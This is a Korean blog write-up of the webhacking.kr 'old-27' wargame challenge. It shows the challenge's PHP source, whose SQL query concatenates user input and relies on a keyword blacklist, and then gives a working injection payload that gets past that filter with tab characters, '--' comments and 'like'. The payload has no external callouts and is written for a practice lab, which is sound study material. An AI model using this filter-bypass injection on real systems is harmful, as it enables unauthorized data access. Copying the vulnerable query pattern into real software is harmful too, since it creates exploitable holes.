반응형
문제
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
문제풀이
admin의 no는 2이며, id가 admin일 때 문제가 해결된다.
필터링은 #, select, limit, 공백, (, 0x, =를 하고 있다.
no=(0) or no=(2)
#대신 —를 사용해서 주석처리를 하고,
공백 대신 %09를 사용하고,
= 대신 like를 사용
no=(0)%09or%09no%09like%092—%09)
주석(--) 뒤에 공백이나 문자 처리를 해주어야 한다.
반응형
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-29 (0) | 2023.11.02 |
---|---|
[Webhacking.kr] old-28 (0) | 2023.11.02 |
[Webhacking.kr] old-22 (0) | 2023.11.02 |
[Webhacking.kr] old-21 (0) | 2023.11.02 |
[Webhacking.kr] old-20 (0) | 2023.11.02 |